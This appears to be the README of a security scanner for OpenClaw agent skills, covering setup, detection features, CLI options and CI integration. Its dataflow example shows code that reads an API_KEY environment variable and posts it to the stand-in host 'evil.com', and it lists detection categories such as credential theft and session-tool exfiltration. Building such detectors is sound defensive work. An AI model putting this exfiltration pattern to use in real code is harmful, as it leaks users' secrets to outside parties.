Skill Auditor

Skill Auditor v2.1

Enhanced security scanner that analyzes skills and provides comprehensive threat detection with advanced analysis capabilities.

After Installing

Run the setup wizard to configure optional features: cd skills/skill-auditor node scripts/setup.js The wizard explains each feature, shows real test data, and lets you choose what to enable.

Quick Start

Scan a skill: node skills/skill-auditor/scripts/scan-skill.js <skill-directory> Audit all your installed skills: node skills/skill-auditor/scripts/audit-installed.js

Setup Wizard (Recommended)

Run the interactive setup to configure optional features: cd skills/skill-auditor node scripts/setup.js The wizard will: Detect your OS (Windows, macOS, Linux) Check Python availability (required for AST analysis) Offer to install tree-sitter for dataflow analysis Configure auto-scan on skill installation Save preferences to ~/.openclaw/skill-auditor.json

Setup Commands

node scripts/setup.js # Interactive setup wizard node scripts/setup.js --status # Show current configuration node scripts/setup.js --enable-ast # Just enable AST analysis

Audit All Installed Skills

Scan every skill in your OpenClaw installation at once: node scripts/audit-installed.js Options: node scripts/audit-installed.js --severity critical # Only critical issues node scripts/audit-installed.js --json # Save results to audit-results.json node scripts/audit-installed.js --verbose # Show top findings per skill Output: Color-coded risk levels (🚨 CRITICAL, ⚠️ HIGH, 📋 MEDIUM, ✅ CLEAN) Summary stats (total scanned, by risk level) Detailed list of high-risk skills with capabilities

Core Scanner (No Dependencies)

Works on all platforms with just Node.js (which OpenClaw already provides).

AST Analysis (Optional)

Requires Python 3.8+ and tree-sitter packages. PlatformPython InstallTree-sitter InstallWindowsPre-installed or winget install Python.Python.3pip install tree-sitter tree-sitter-pythonmacOSPre-installed or brew install python3pip3 install tree-sitter tree-sitter-pythonLinuxapt install python3-pippip3 install tree-sitter tree-sitter-python Note: Tree-sitter has prebuilt wheels for all platforms — no C++ compiler needed!

Core Features (Always Available)

Static Pattern Analysis — Regex-based detection of 40+ threat patterns Intent Matching — Contextual analysis against skill's stated purpose Accuracy Scoring — Rates how well behavior matches description (1-10) Risk Assessment — CLEAN / LOW / MEDIUM / HIGH / CRITICAL levels OpenClaw Specifics — Detects MEMORY.md, sessions tools, agent manipulation Remote Scanning — Works with GitHub URLs (via scan-url.js) Visual Reports — Human-readable threat summaries

1. Python AST Dataflow Analysis

Traces data from sources to sinks through code execution paths npm install tree-sitter tree-sitter-python node scripts/scan-skill.js <skill> --mode strict What it detects: Environment variables → Network requests File reads → HTTP posts Memory file access → External APIs Cross-function data flows Example: # File 1: utils.py def get_secrets(): return os.environ.get('API_KEY') # File 2: main.py key = get_secrets() requests.post('evil.com', data=key) # ← Dataflow detected!

2. VirusTotal Binary Scanning

Scans executable files against 70+ antivirus engines export VIRUSTOTAL_API_KEY="your-key-here" node scripts/scan-skill.js <skill> --use-virustotal Supported formats: .exe, .dll, .bin, .wasm, .jar, .apk, etc. Output includes: Malware detection status Engine consensus (e.g., "3/70 engines flagged") Direct VirusTotal report links SHA256 hashes for verification

3. LLM Semantic Analysis

Uses AI to understand if detected behaviors match stated intent # Requires OpenClaw gateway running node scripts/scan-skill.js <skill> --use-llm How it works: Groups findings by category Asks LLM: "Does this behavior match the skill's description?" Adjusts severity based on semantic understanding Provides confidence ratings Example: Finding: "Accesses MEMORY.md" Skill says: "Optimizes agent memory usage" LLM verdict: "LEGITIMATE — directly supports stated purpose" Result: Severity downgraded, marked as expected

4. SARIF Output for CI/CD

• GitHub Code Scanning compatible format
• node scripts/scan-skill.js <skill> --format sarif --fail-on-findings
• GitHub integration:
• # .github/workflows/skill-scan.yml
• name: Scan Skills
• run: |
• node skill-auditor/scripts/scan-skill.js ./skills/new-skill \
• --format sarif --fail-on-findings > results.sarif
• name: Upload SARIF
• uses: github/codeql-action/upload-sarif@v2
• with:
• sarif_file: results.sarif

5. Detection Modes

Adjustable sensitivity levels --mode strict # All patterns, higher false positives --mode balanced # Default, optimized accuracy --mode permissive # Only critical patterns

Basic Scanning

# Scan local skill node scripts/scan-skill.js ../my-skill # Scan with JSON output node scripts/scan-skill.js ../my-skill --json report.json # Format visual report node scripts/format-report.js report.json

Advanced Scanning

# Full analysis with all features node scripts/scan-skill.js ../my-skill \ --mode strict \ --use-virustotal \ --use-llm \ --format sarif \ --json full-report.sarif # CI/CD integration node scripts/scan-skill.js ../my-skill \ --format sarif \ --fail-on-findings \ --mode balanced

Remote Scanning

# Scan GitHub skill without cloning node scripts/scan-url.js "https://github.com/user/skill" --json remote-report.json node scripts/format-report.js remote-report.json

Zero Dependencies (Recommended for CI)

# Works immediately — no installation needed node skill-auditor/scripts/scan-skill.js <skill>

Optional Advanced Features

cd skills/skill-auditor # Install all optional features npm install # Or install selectively: npm install tree-sitter tree-sitter-python # AST analysis npm install yara # YARA rules (future) # VirusTotal requires API key only: export VIRUSTOTAL_API_KEY="your-key" # LLM analysis requires OpenClaw gateway: openclaw gateway start

Core Threat Categories

Prompt Injection — AI instruction manipulation attempts Data Exfiltration — Unauthorized data transmission Sensitive File Access — MEMORY.md, credentials, SSH keys Shell Execution — Command injection, arbitrary code execution Path Traversal — Directory escape attacks Obfuscation — Hidden/encoded content Persistence — System modification for permanent access Privilege Escalation — Browser automation, device access

OpenClaw-Specific Patterns

Memory File Writes — Persistence via MEMORY.md, AGENTS.md Session Tool Abuse — Data exfiltration via sessions_send Gateway Control — config.patch, restart commands Node Device Access — camera_snap, screen_record, location_get

Advanced Detection (with optional features)

Python Dataflow — Variable tracking across functions/files Binary Malware — Known malicious executables via VirusTotal Semantic Intent — LLM-based behavior vs. description analysis

1. JSON (Default)

{ "skill": { "name": "example", "description": "..." }, "riskLevel": "HIGH", "accuracyScore": { "score": 7, "reason": "..." }, "findings": [...], "summary": { "analyzersUsed": ["static", "ast-python", "llm-semantic"] } }

2. SARIF (GitHub Code Scanning)

--format sarif Uploads to GitHub Security tab, integrates with pull request checks.

3. Visual Report

node scripts/format-report.js report.json Human-readable summary with threat gauge and actionable findings.

Environment Variables

VIRUSTOTAL_API_KEY="vt-key" # VirusTotal integration DEBUG="1" # Verbose error output

Command Line Options

--json <file> # JSON output file --format sarif # SARIF output for GitHub --mode <mode> # strict|balanced|permissive --use-virustotal # Enable binary scanning --use-llm # Enable semantic analysis --custom-rules <dir> # Additional YARA rules --fail-on-findings # Exit code 1 for HIGH/CRITICAL --help # Show all options

Architecture Overview

skill-auditor/ ├── scripts/ │ ├── scan-skill.js # Main scanner (v2.0) │ ├── scan-url.js # Remote GitHub scanning │ ├── format-report.js # Visual report formatter │ ├── analyzers/ # Pluggable analysis engines │ │ ├── static.js # Core regex patterns (zero-dep) │ │ ├── ast-python.js # Python dataflow analysis │ │ ├── virustotal.js # Binary malware scanning │ │ └── llm-semantic.js # AI-powered intent analysis │ └── utils/ │ └── sarif.js # GitHub Code Scanning output ├── rules/ │ └── default.yar # YARA format patterns ├── package.json # Optional dependencies └── references/ # Documentation (unchanged)

Backward Compatibility

v1.x commands work unchanged: node scan-skill.js <skill-dir> # ✅ Works node scan-skill.js <skill-dir> --json out.json # ✅ Works node format-report.js out.json # ✅ Works New v2.0 features are opt-in: node scan-skill.js <skill-dir> --use-llm # ⚡ Enhanced node scan-skill.js <skill-dir> --use-virustotal # ⚡ Enhanced

Core Scanner

Novel obfuscation — New encoding techniques not yet in patterns Binary analysis — Skips binary files unless VirusTotal enabled Sophisticated prompt injection — Advanced manipulation techniques may evade regex

Optional Features

Python AST — Limited to Python files, basic dataflow only VirusTotal — Rate limited (500 queries/day free tier) LLM Analysis — Requires internet connection and OpenClaw gateway YARA Rules — Framework ready but custom rules not fully implemented

Common Issues

"tree-sitter dependencies not available" npm install tree-sitter tree-sitter-python "VirusTotal API error: 403" export VIRUSTOTAL_API_KEY="your-actual-key" "LLM semantic analysis failed" # Check OpenClaw gateway is running: openclaw gateway status curl http://localhost:18789/api/v1/health "SARIF output not generated" # Ensure all dependencies installed: cd skills/skill-auditor && npm install

Debug Mode

DEBUG=1 node scripts/scan-skill.js <skill>

Adding New Patterns

Static patterns → Edit scripts/analyzers/static.js YARA rules → Add to rules/ directory Python dataflow → Extend scripts/analyzers/ast-python.js

Testing New Features

# Test against multiple skills: node scripts/scan-skill.js ../blogwatcher --use-llm --mode strict node scripts/scan-skill.js ../summarize --use-virustotal node scripts/scan-skill.js ../secure-browser-agent --format sarif

Security Note

This scanner is one layer of defense, not a guarantee. Always: Review code manually for novel attacks Re-scan after skill updates Use multiple security tools Trust but verify — especially for high-privilege skills For sensitive environments, enable all advanced features: node scripts/scan-skill.js <skill> \ --mode strict \ --use-virustotal \ --use-llm \ --fail-on-findings